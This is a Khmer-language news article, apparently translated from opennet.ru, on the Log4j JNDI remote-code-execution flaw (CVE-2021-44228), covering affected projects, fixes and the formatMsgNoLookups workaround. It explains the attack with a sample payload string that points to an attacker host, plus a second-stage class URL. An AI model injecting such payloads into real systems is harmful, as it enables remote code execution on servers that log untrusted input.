ភាពងាយរងគ្រោះមហន្តរាយនៅក្នុង Apache Log4j ប៉ះពាល់ដល់គម្រោង Java ជាច្រើន។

នៅក្នុង Apache Log4j ដែលជាក្របខ័ណ្ឌដ៏ពេញនិយមសម្រាប់រៀបចំការកត់ត្រានៅក្នុងកម្មវិធី Java ភាពងាយរងគ្រោះសំខាន់ត្រូវបានគេកំណត់អត្តសញ្ញាណដែលអនុញ្ញាតឱ្យដំណើរការកូដបំពាននៅពេលដែលតម្លៃដែលបានធ្វើទ្រង់ទ្រាយពិសេសនៅក្នុងទម្រង់ “{jndi:URL}” ត្រូវបានសរសេរទៅកំណត់ហេតុ។ ការវាយប្រហារអាចត្រូវបានអនុវត្តនៅលើកម្មវិធី Java ដែលកត់ត្រាតម្លៃដែលទទួលបានពីប្រភពខាងក្រៅ ឧទាហរណ៍នៅពេលបង្ហាញតម្លៃដែលមានបញ្ហានៅក្នុងសារកំហុស។

វាត្រូវបានកត់សម្គាល់ថាស្ទើរតែគ្រប់គម្រោងដែលប្រើក្របខ័ណ្ឌដូចជា Apache Struts, Apache Solr, Apache Druid ឬ Apache Flink ត្រូវបានរងផលប៉ះពាល់ដោយបញ្ហារួមទាំង Steam, Apple iCloud, Minecraft ម៉ាស៊ីនភ្ញៀវ និងម៉ាស៊ីនមេ។ វាត្រូវបានគេរំពឹងថា ភាពងាយរងគ្រោះអាចនាំឱ្យមានរលកនៃការវាយប្រហារដ៏ធំលើកម្មវិធីសាជីវកម្ម ដោយរំលឹកឡើងវិញនូវប្រវត្តិនៃភាពងាយរងគ្រោះសំខាន់ៗនៅក្នុងក្របខ័ណ្ឌ Apache Struts ដែលយោងទៅតាមការប៉ាន់ស្មានរដុប ត្រូវបានប្រើនៅក្នុងកម្មវិធីគេហទំព័រដោយ 65% នៃ Fortune ក្រុមហ៊ុនចំនួន 100 ។ រួមទាំងការព្យាយាមស្កេនបណ្តាញសម្រាប់ប្រព័ន្ធដែលងាយរងគ្រោះ។

បញ្ហាកាន់តែធ្ងន់ធ្ងរឡើងដោយសារការកេងប្រវ័ញ្ចការងារត្រូវបានបោះពុម្ពផ្សាយរួចហើយ ប៉ុន្តែការជួសជុលសម្រាប់សាខាដែលមានស្ថេរភាពមិនទាន់ត្រូវបានចងក្រងនៅឡើយ។ ការកំណត់អត្តសញ្ញាណ CVE មិនទាន់ត្រូវបានកំណត់នៅឡើយទេ។ ការជួសជុលត្រូវបានរួមបញ្ចូលតែនៅក្នុងសាខាសាកល្បង log4j-2.15.0-rc1 ប៉ុណ្ណោះ។ ជាដំណោះស្រាយសម្រាប់ការទប់ស្កាត់ភាពងាយរងគ្រោះ វាត្រូវបានណែនាំឱ្យកំណត់ប៉ារ៉ាម៉ែត្រ log4j2.formatMsgNoLookups ទៅពិត។

បញ្ហាត្រូវបានបង្កឡើងដោយការពិតដែលថា log4j គាំទ្រដំណើរការរបាំងពិសេស “{}” នៅក្នុងបន្ទាត់លទ្ធផលទៅកាន់កំណត់ហេតុ ដែលក្នុងនោះសំណួរ JNDI (Java Naming and Directory Interface) អាចត្រូវបានប្រតិបត្តិ។ ការវាយប្រហារធ្លាក់ចុះរហូតដល់ការបញ្ជូនខ្សែអក្សរជាមួយនឹងការជំនួស “${jndi:ldap://attacker.com/a}” នៅពេលដំណើរការដែល log4j នឹងផ្ញើសំណើ LDAP សម្រាប់ផ្លូវទៅកាន់ថ្នាក់ Java ទៅកាន់ម៉ាស៊ីនមេ attacker.com . ផ្លូវដែលត្រឡប់ដោយម៉ាស៊ីនមេរបស់អ្នកវាយប្រហារ (ឧទាហរណ៍ http://second-stage.attacker.com/Exploit.class) នឹងត្រូវបានផ្ទុក និងប្រតិបត្តិក្នុងបរិបទនៃដំណើរការបច្ចុប្បន្ន ដែលអនុញ្ញាតឱ្យអ្នកវាយប្រហារប្រតិបត្តិកូដបំពានលើ ប្រព័ន្ធជាមួយនឹងសិទ្ធិនៃកម្មវិធីបច្ចុប្បន្ន។

ឧបសម្ព័ន្ធទី 1៖ ភាពងាយរងគ្រោះត្រូវបានផ្ដល់ឱ្យនូវឧបករណ៍កំណត់អត្តសញ្ញាណ CVE-2021-44228 ។

ឧបសម្ព័ន្ធទី 2៖ វិធីដើម្បីរំលងការការពារបន្ថែមដោយការចេញផ្សាយ log4j-2.15.0-rc1 ត្រូវបានកំណត់អត្តសញ្ញាណ។ ការអាប់ដេតថ្មី log4j-2.15.0-rc2 ត្រូវបានស្នើឡើងជាមួយនឹងការការពារពេញលេញបន្ថែមទៀតប្រឆាំងនឹងភាពងាយរងគ្រោះ។ កូដបង្ហាញពីការផ្លាស់ប្តូរដែលទាក់ទងនឹងអវត្តមាននៃការបញ្ចប់មិនប្រក្រតី ក្នុងករណីប្រើប្រាស់ JNDI URL ដែលធ្វើទ្រង់ទ្រាយមិនត្រឹមត្រូវ។

ប្រភព: opennet.ru